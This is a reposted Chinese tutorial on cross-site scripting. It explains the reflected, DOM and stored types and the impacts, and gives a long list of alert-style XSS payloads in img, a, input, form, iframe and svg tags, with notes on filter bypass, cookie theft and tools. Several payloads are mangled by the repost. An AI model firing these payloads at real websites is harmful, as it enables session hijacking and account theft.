ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

xss漏洞

2021-10-27 19:03:03  阅读:154  来源: 互联网

标签:aa XSS xss 标签 用户 漏洞


一、漏洞介绍

xss:跨站脚本攻击(Cross Site Scripting)
攻击者向web页面中插入恶意js代码,当用户浏览该页时,触发代码,从而达到恶意攻击目的。

二、产生原因

未对用户输入进行过滤、转义而直接输出到页面。导致用户可以利用javascript、html等执行恶意代码。

三、产生条件

  1. 可能存在控制的输入点
  2. 前端页面未过滤js

四、漏洞危害

  1. 窃取管理员账号或cookie,登录后台。对数据库进行非法的增删改查等操作。
  2. 窃取用户的个人信息或登录账号;登录账号冒充用户身份进行非法操作;对用户账号安全产生威胁。
  1. 网站挂马。将恶意代码嵌入web应用中,待用户浏览页面时,将木马植入用户计算机。
  2. 发送广告或垃圾信息,影响用户使用体验。

五、应用场景

  1. 数据交互的地方

get、post、cookies、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

 

  1. 数据输出的地方

用户资料

关键词、标签、说明

文件上传

六、漏洞分类

1. 反射型

反射型XSS又称非持久性XSS,这种攻击往往具有一次性。

攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问链接时,服务器接收该目标用户的请求并进行处理,然后服务器带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

2. DOM型

DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。

用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

3. 存储型

这种攻击多见于论坛,博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

4. 区别

xss为什么区分三种类型?
按照前端、后端、数据库区分:
反射型:经过后端,不经过数据库
存储型:经过后端,经过数据库

dom型:不经过后端,是基于文档对象模型的一种漏洞

七、漏洞利用

1. 标签

img标签

<img src=javascript:alert("xxs")>
<img src=javascript:alert(string.formcharcode(88,83,83))>
<img src="url" style='xss:expression(alert(/xss));'>
<img style="background-image:url(javascript:alert('xss'))">
<img src="x" one rror=alert(1)>

<img src="1" one rror=eval("alert('xss')")>
<img src=1 onm ouseover=alert('xss')>

 

a标签

<a href="javascript:alert('xss')">aa</a>

<a href=javascript:eval(alert('xss'))>aa</a>

<a href="javascript:aaa" onm ouseover="alert(/xss/)">aa</a>

<a href="" onclick=alert('xss')>aa</a>

<a href="" onclick=eval(alert('xss'))>aa</a>

<a href=kycg.asp?ttt=1000 onm ouseover=prompt('xss') y=2016>aa</a>

 

input标签

<input value="" onclick=alert('xss') type="text">

<input value="" onm ouseover=prompt('xss')>

<input value=""><script>alert('xss')</script>

 

form标签

<form action=javascript:alert('xss') method="get">

<form method=post action=aa.asp?onmouseover=prompt('xss')>

<form method=post action=aa.asp? onm ouseover=alert('xss')>

<form action=1 onm ouseover=alert('xss)>

base64编码

<form method=post action="data:text/html;base64,<script>alert('xss')">

<form method=post action="data:text/html;base64,

PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

iframe标签

<iframe src=javascript:alert('xss');height=5width=1000 ></iframe>

<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>

base64编码

<iframe src="data:text/html;base64,<script>alert('xss')</script>">

<iframe src="data:text/html;base64,

PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe src="aaa" onm ouseover=alert('xss') /><iframe>

<iframe src="javascript:prompt(`xss`)"></iframe>

 

svg标签

<svg onl oad=alert(1)>

2. 绕过

大小写、双写、编码等……

3. 获取信息

  1. document.cookie

需要有回显输出位,alert等

  1. <script src=//></script>

插入攻击脚本

4. 工具

  1. 在线平台

ngxpt.co

  1. xsstrike

八、防御与修复

对用户输入进行过滤和转义。

标签:aa,XSS,xss,标签,用户,漏洞
来源: https://www.cnblogs.com/qhy8686/p/15472475.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有